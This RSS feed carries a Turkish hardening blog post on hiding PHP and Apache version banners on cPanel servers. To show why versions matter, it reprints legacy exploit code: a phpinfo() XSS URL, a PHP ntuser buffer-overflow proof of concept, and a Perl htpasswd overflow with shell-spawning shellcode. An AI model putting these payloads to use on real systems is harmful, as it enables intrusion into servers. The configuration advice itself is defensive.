<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>sunucu bilgilerini sakla | M. Şahin KURU</title>
	<atom:link href="https://www.sahinkuru.com.tr/tag/sunucu-bilgilerini-sakla/feed" rel="self" type="application/rss+xml" />
	<link>https://www.sahinkuru.com.tr</link>
	<description>Senior System Architect • Linux &#38; Microsoft Core Infra • Cloud &#38; DC &#38; Network Consultant • Cybersecurity &#38; Digital Forensics • Enterprise Backup &#38; Disaster Recovery</description>
	<lastBuildDate>Tue, 18 Mar 2014 08:23:03 +0000</lastBuildDate>
	<language>tr</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
<site xmlns="com-wordpress:feed-additions:1">117096499</site>	<item>
		<title>Cpanel Sunucu PHP ve Apache Versiyon Bilgilerini Gizleme</title>
		<link>https://www.sahinkuru.com.tr/2014/01/06/cpanel-sunucu-php-ve-apache-versiyon-bilgilerini-gizleme.html</link>
					<comments>https://www.sahinkuru.com.tr/2014/01/06/cpanel-sunucu-php-ve-apache-versiyon-bilgilerini-gizleme.html#respond</comments>
		
		<dc:creator><![CDATA[M. Şahin KURU]]></dc:creator>
		<pubDate>Mon, 06 Jan 2014 14:08:49 +0000</pubDate>
				<category><![CDATA[Cloud (Bulut Bilişim)]]></category>
		<category><![CDATA[Güvenlik]]></category>
		<category><![CDATA[Haberler]]></category>
		<category><![CDATA[İnformation Technology]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Server Systems]]></category>
		<category><![CDATA[apache bilgi gizle]]></category>
		<category><![CDATA[apache sakla]]></category>
		<category><![CDATA[php bilgi gizle]]></category>
		<category><![CDATA[php sakla]]></category>
		<category><![CDATA[sunucu bilgilerini gizle]]></category>
		<category><![CDATA[sunucu bilgilerini sakla]]></category>
		<category><![CDATA[sunucu sakla]]></category>
		<guid isPermaLink="false">http://www.sahinkuru.com.tr/?p=656</guid>

					<description><![CDATA[<p>&#160; &#160; Merhaba arkadaşlar bugün kötü niyetli hacker diye tabir ettiğimiz kişilerin bir sisteme sızmadan önce yaptıkları en önemli kısımlardan biri olan scanning aşamasından kurtulmak&#8230;</p>
The post <a href="https://www.sahinkuru.com.tr/2014/01/06/cpanel-sunucu-php-ve-apache-versiyon-bilgilerini-gizleme.html">Cpanel Sunucu PHP ve Apache Versiyon Bilgilerini Gizleme</a> first appeared on <a href="https://www.sahinkuru.com.tr">M. Şahin KURU</a>.]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<p>&nbsp;</p>
<p style="text-align: center;"><a href="http://www.sahinkuru.com.tr/wp-content/uploads/linux-mysql-php-apache.jpg"><img decoding="async" data-attachment-id="657" data-permalink="https://www.sahinkuru.com.tr/2014/01/06/cpanel-sunucu-php-ve-apache-versiyon-bilgilerini-gizleme.html/linux-mysql-php-apache" data-orig-file="https://www.sahinkuru.com.tr/wp-content/uploads/linux-mysql-php-apache.jpg" data-orig-size="380,265" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="linux-mysql-php-apache" data-image-description="" data-image-caption="" data-large-file="https://www.sahinkuru.com.tr/wp-content/uploads/linux-mysql-php-apache.jpg" class="wp-image-657 alignleft" alt="linux-mysql-php-apache" src="http://www.sahinkuru.com.tr/wp-content/uploads/linux-mysql-php-apache.jpg" width="266" height="186" srcset="https://www.sahinkuru.com.tr/wp-content/uploads/linux-mysql-php-apache.jpg 380w, https://www.sahinkuru.com.tr/wp-content/uploads/linux-mysql-php-apache-300x209.jpg 300w" sizes="(max-width: 266px) 100vw, 266px" /></a></p>
<div align="justify">Merhaba arkadaşlar bugün kötü niyetli hacker diye tabir ettiğimiz kişilerin bir sisteme sızmadan önce yaptıkları en önemli kısımlardan biri olan scanning aşamasından kurtulmak için yapmanız gereken bazı gizlenme olaylarından bahsetmeye çalışacağım.</div>
<div align="justify"></div>
<div align="justify">
<p>Öncelikle Scanning aşamasında neler yapılıyor kısaca bunlardan bahsedelim.</p>
<p>Scanning aşamasına atak öncesi hazırlık aşamasıda diyebiliriz.Bu kısımda hacker diye tabir edilen kişiler öncelikle açık olan portlara bakarlar sonrasında açık portların kullandığı programlar ve bu programların sürümleri (Version) araştırılır.Bunun tek bir nedeni vardır eger eski sürüm bir işletim sistemi , php derleyicisi , apache ,kernel vb. programları kullanıyorsanız bunların açıklarının veya exploitlerinin bulunma olasılığı yüksek olur.</p>
<p>Örnek vermek gerekirse ; [b]php 4.4.3 &#8211; php 4.4.6 phpinfo() remote xss exploit [/b]&#8217; i gösterebiliriz.Aşagıdaki kodun çalışması demek karşıtarafta xss (cross side script) kodlarını çalıştırabiliriz demek olur.</p>
<p>http://localhost/phpinfo.php?a[]=&lt;script&gt;alert(/XSS/);&lt;/script&gt;</p>
<p><span id="more-656"></span></p>
<p>Daha yeni bir versiyon için örnek vermek gerekirse ;</p>
<p>[b]PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow[/b]</p>
<p>&lt;?php<br />
//author: shinnai</p>
<p>//also theese are vulnerable:<br />
//ntuser_getusergroups &lt;&#8211; DoS, we control EAX<br />
//ntuser_getdomaincontroller &lt;&#8211; DoS, we control EAX<br />
//ntuser_getuserinfo &lt;&#8211; BoF, we control EIP 00410041</p>
<p>//This is the content of registers:</p>
<p>//EAX FFFFFFFE<br />
//ECX 00000754<br />
//EDX 00000041<br />
//EBX 00223D18<br />
//ESP 00C0FB34 UNICODE &#8220;CCC&#8230; x 100&#8221;<br />
//EBP 00C0FBD0 UNICODE &#8220;CCC + DDD&#8230; x 100&#8221;<br />
//ESI 011AC4A8<br />
//EDI 011ADC00<br />
//EIP 00410041</p>
<p>$buff    = str_repeat(&#8220;\x41&#8221;, 250);</p>
<p>$get_EIP = &#8220;\x42\x42&#8221;;</p>
<p>$get_ESP = str_repeat(&#8220;\x43&#8221;, 100);</p>
<p>$get_EBP = str_repeat(&#8220;\x44&#8221;, 100);</p>
<p>ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);<br />
?&gt;</p>
<p>Yukarıdaki exploitin amacı microsoft userlarını çalmaya dayalıdır.</p>
<p>[b]Proof Of Concept exploit for htpasswd of Apache.[/b]</p>
<p>#!/usr/bin/perl<br />
# &#8211; Luiz Fernando Camargo<br />
$shellcode = &#8220;\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68&#8221;.<br />
&#8220;\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80&#8221;;</p>
<p>$target = &#8220;/usr/local/apache/bin/htpasswd&#8221;;<br />
$retaddr = 0xbffffffa &#8211; length($shellcode) &#8211; length($target);</p>
<p>print &#8220;using retaddr = 0x&#8221;, sprintf(&#8216;%lx&#8217;,($retaddr)), &#8220;\r\n&#8221;;</p>
<p>local($ENV{&#8216;XXX&#8217;}) = $shellcode;<br />
$newret = pack(&#8216;l&#8217;, $retaddr);<br />
$buffer = &#8220;A&#8221; x 272;<br />
$buffer .= $newret x 4;<br />
$buffer .= &#8221; &#8220;;<br />
$buffer .= &#8220;B&#8221; x 290;</p>
<p>exec(&#8220;$target -nb $buffer&#8221;);</p>
<p>Yukarıda gösterdiğim örneklerdende anlayacağınız gibi sisteminizdeki programların hackerlar tarafından görülmemesig gerekmektedir.Bizler LİNUX makinelerdeki php nin vede apache nin gizlenmesi için gerekli olan işlemleri aşağıdaki gibi yaparsak bu dosyalarımızın sürümleri kötü niyetli kişiler tarafından görülemez.</p>
<p><strong>PHP VERSİYON GİZLEME</strong></p>
<p>PHP dosyalar versiyonunu gizlemek için php.ini dosyamızı duzenliyoruz.Bunun için ilk yapmamız gereken php.ini dosyamızın konumunu bulmak olacaktır.</p>
<p>[root@server ~]# php -i | grep php.ini</p>
<p>Configuration File (php.ini) Path = /usr/local/lib</p>
<p>Loaded Configuration File = /usr/local/lib/php.ini</p>
<p>[root@server ~]# nano /usr/local/lib/php.ini</p>
<p>Nano text editörü ile açtığımız dosyayı şekildeki gibi düzenliyoruz.</p>
<p>expose_php Off</p>
<p><strong>APACHE VERSİYON GİZLEME</strong></p>
<p>httpd.conf dosyamızı nano editor ile açıyoruz. Dosyamızda eger bu satırlar yok ise ekliyoruz eger sürümden kaynaklı dosyamızda var ise aşagıdaki şekline getiriyoruz.</p>
<p>[root@server ~]# nano /usr/local/apache/conf/httpd.conf  (Cpanel için geçerlidir.)</p>
<p>ServerTokens ProductOnly<br />
ServerSignature Off</p>
<p>Editorumuzu kaydedip çıktıktan sonra artık httpd servisimizi restart edebiliriz.</p>
<p>[root@server ~]# service httpd restart</p>
</div>The post <a href="https://www.sahinkuru.com.tr/2014/01/06/cpanel-sunucu-php-ve-apache-versiyon-bilgilerini-gizleme.html">Cpanel Sunucu PHP ve Apache Versiyon Bilgilerini Gizleme</a> first appeared on <a href="https://www.sahinkuru.com.tr">M. Şahin KURU</a>.]]></content:encoded>
					
					<wfw:commentRss>https://www.sahinkuru.com.tr/2014/01/06/cpanel-sunucu-php-ve-apache-versiyon-bilgilerini-gizleme.html/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">656</post-id>	</item>
	</channel>
</rss>
